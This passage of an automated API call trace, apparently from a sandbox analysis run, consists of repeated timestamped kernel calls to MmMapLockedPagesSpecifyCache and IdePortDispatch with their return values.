Priority=0xfffff80000000000) returned 0xfffff880034ae000 [0083.376] IdePortDispatch () returned 0x103 [0083.377] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c2000 [0083.378] IdePortDispatch () returned 0x103 [0083.379] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e6000 [0083.379] IdePortDispatch () returned 0x103 [0083.389] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bfa000 [0083.389] IdePortDispatch () returned 0x103 [0083.391] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c21000 [0083.391] IdePortDispatch () returned 0x103 [0083.392] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c45000 [0083.393] IdePortDispatch () returned 0x103 [0083.393] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c49000 [0083.394] IdePortDispatch () returned 0x103 [0083.395] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd9000 [0083.395] IdePortDispatch () returned 0x103 [0083.398] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c7a000 [0083.398] IdePortDispatch () returned 0x103 [0083.399] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c80000 [0083.399] IdePortDispatch () returned 0x103 [0083.400] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c93000 [0083.400] IdePortDispatch () returned 0x103 [0083.401] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c96000 [0083.401] IdePortDispatch () returned 0x103 [0083.402] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c9a000 [0083.402] IdePortDispatch () returned 0x103 [0083.405] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce1000 [0083.405] IdePortDispatch () returned 0x103 [0083.406] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf4000 [0083.406] IdePortDispatch () returned 0x103 [0083.407] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf7000 [0083.407] IdePortDispatch () returned 0x103 [0083.409] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cff000 [0083.409] IdePortDispatch () returned 0x103 [0083.409] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d07000 [0083.409] IdePortDispatch () returned 0x103 [0083.411] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d19000 [0083.411] IdePortDispatch () returned 0x103 [0083.411] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d21000 [0083.411] IdePortDispatch () returned 0x103 [0083.413] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d23000 [0083.413] IdePortDispatch () returned 0x103 [0083.414] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d3b000 [0083.414] IdePortDispatch () returned 0x103 [0083.416] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d4d000 [0083.416] IdePortDispatch () returned 0x103 [0083.416] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d55000 [0083.417] IdePortDispatch () returned 0x103 [0083.417] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d5d000 [0083.417] IdePortDispatch () returned 0x103 [0083.421] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d75000 [0083.421] IdePortDispatch () returned 0x103 [0083.421] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d7d000 [0083.421] IdePortDispatch () returned 0x103 [0083.422] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d85000 [0083.422] IdePortDispatch () returned 0x103 [0083.425] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d8d000 [0083.425] IdePortDispatch () returned 0x103 [0083.426] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d95000 [0083.426] IdePortDispatch () returned 0x103 [0083.431] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ddf000 [0083.431] IdePortDispatch () returned 0x103 [0083.437] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003509000 [0083.438] IdePortDispatch () returned 0x103 [0083.440] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003561000 [0083.440] IdePortDispatch () returned 0x103 [0083.442] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003589000 [0083.442] IdePortDispatch () returned 0x103 [0083.443] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003591000 [0083.443] IdePortDispatch () returned 0x103 [0083.443] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003599000 [0083.443] IdePortDispatch () returned 0x103 [0083.444] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a1000 [0083.444] IdePortDispatch () returned 0x103 [0083.445] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a9000 [0083.445] IdePortDispatch () returned 0x103 [0083.445] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035b1000 [0083.446] IdePortDispatch () returned 0x103 [0083.446] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035b9000 [0083.447] IdePortDispatch () returned 0x103 [0083.447] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c1000 [0083.447] IdePortDispatch () returned 0x103 [0083.448] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c9000 [0083.448] IdePortDispatch () returned 0x103 [0083.454] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b68000 [0083.454] IdePortDispatch () returned 0x103 [0083.456] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b6b000 [0083.456] IdePortDispatch () returned 0x103 [0083.457] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b6e000 [0083.457] IdePortDispatch () returned 0x103 [0083.459] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b72000 [0083.459] IdePortDispatch () returned 0x103 [0083.460] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b76000 [0083.460] IdePortDispatch () returned 0x103 [0083.474] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d90000 [0083.474] IdePortDispatch () returned 0x103 [0083.477] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d96000 [0083.477] IdePortDispatch () returned 0x103 [0083.480] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003421000 [0083.480] IdePortDispatch () returned 0x103 [0083.482] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003461000 [0083.482] IdePortDispatch () returned 0x103 [0083.483] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003465000 [0083.483] IdePortDispatch () returned 0x103 [0083.485] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003469000 [0083.485] IdePortDispatch () returned 0x103 [0083.496] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b25000 [0083.496] IdePortDispatch () returned 0x103 [0083.497] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b2d000 [0083.497] IdePortDispatch () returned 0x103 [0083.498] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b45000 [0083.498] IdePortDispatch () returned 0x103 [0083.499] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b4d000 [0083.499] IdePortDispatch () returned 0x103 [0083.501] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b64000 [0083.501] IdePortDispatch () returned 0x103 [0083.502] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b6c000 [0083.502] IdePortDispatch () returned 0x103 [0083.503] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b7b000 [0083.503] IdePortDispatch () returned 0x103 [0083.504] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b93000 [0083.504] IdePortDispatch () returned 0x103 [0083.506] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b9b000 [0083.507] IdePortDispatch () returned 0x103 [0083.509] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb1000 [0083.509] IdePortDispatch () returned 0x103 [0083.511] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bda000 [0083.512] IdePortDispatch () returned 0x103 [0083.513] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000be1000 [0083.513] IdePortDispatch () returned 0x103 [0083.526] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003570000 [0083.526] IdePortDispatch () returned 0x103 [0083.528] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003573000 [0083.528] IdePortDispatch () returned 0x103 [0083.530] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003576000 [0083.530] IdePortDispatch () returned 0x103 [0083.531] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800358a000 [0083.531] IdePortDispatch () returned 0x103 [0083.547] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d30000 [0083.547] IdePortDispatch () returned 0x103 [0083.548] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d35000 [0083.548] IdePortDispatch () returned 0x103 [0083.562] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003531000 [0083.562] IdePortDispatch () returned 0x103 [0083.564] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003548000 [0083.564] IdePortDispatch () returned 0x103 [0083.566] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800355f000 [0083.566] IdePortDispatch () returned 0x103 [0083.567] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003562000 [0083.567] IdePortDispatch () returned 0x103 [0083.572] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e5000 [0083.572] IdePortDispatch () returned 0x103 [0083.574] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b15000 [0083.574] IdePortDispatch () returned 0x103 [0083.575] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b19000 [0083.575] IdePortDispatch () returned 0x103 [0083.588] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d10000 [0083.588] IdePortDispatch () returned 0x103 [0083.589] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d5b000 [0083.590] IdePortDispatch () returned 0x103 [0083.591] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d8f000 [0083.591] IdePortDispatch () returned 0x103 [0083.592] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d93000 [0083.592] IdePortDispatch () returned 0x103 [0083.593] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d98000 [0083.593] IdePortDispatch () returned 0x103 [0083.595] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002daf000 [0083.595] IdePortDispatch () returned 0x103 [0083.595] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002def000 [0083.596] IdePortDispatch () returned 0x103 [0083.596] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bae000 [0083.596] IdePortDispatch () returned 0x103 [0083.597] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d27000 [0083.597] IdePortDispatch () returned 0x103 [0083.598] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d2f000 [0083.598] IdePortDispatch () returned 0x103 [0083.599] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db7000 [0083.600] IdePortDispatch () returned 0x103 [0083.601] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ddf000 [0083.601] IdePortDispatch () returned 0x103 [0083.602] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d3f000 [0083.602] IdePortDispatch () returned 0x103 [0083.603] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d47000 [0083.603] IdePortDispatch () returned 0x103 [0083.603] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d5f000 [0083.604] IdePortDispatch () returned 0x103 [0083.606] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d95000 [0083.606] IdePortDispatch () returned 0x103 [0083.607] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dad000 [0083.607] IdePortDispatch () returned 0x103 [0083.614] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c0000 [0083.615] IdePortDispatch () returned 0x103 [0083.615] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d8000 [0083.615] IdePortDispatch () returned 0x103 [0083.616] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e0000 [0083.616] IdePortDispatch () returned 0x103 [0083.616] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e8000 [0083.616] IdePortDispatch () returned 0x103 [0083.617] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b05000 [0083.617] IdePortDispatch () returned 0x103 [0083.617] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b0d000 [0083.617] IdePortDispatch () returned 0x103 [0083.617] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b15000 [0083.618] IdePortDispatch () returned 0x103 [0083.627] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d30000 [0083.627] IdePortDispatch () returned 0x103 [0083.628] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d38000 [0083.628] IdePortDispatch () returned 0x103 [0083.628] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d40000 [0083.628] IdePortDispatch () returned 0x103 [0083.629] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, 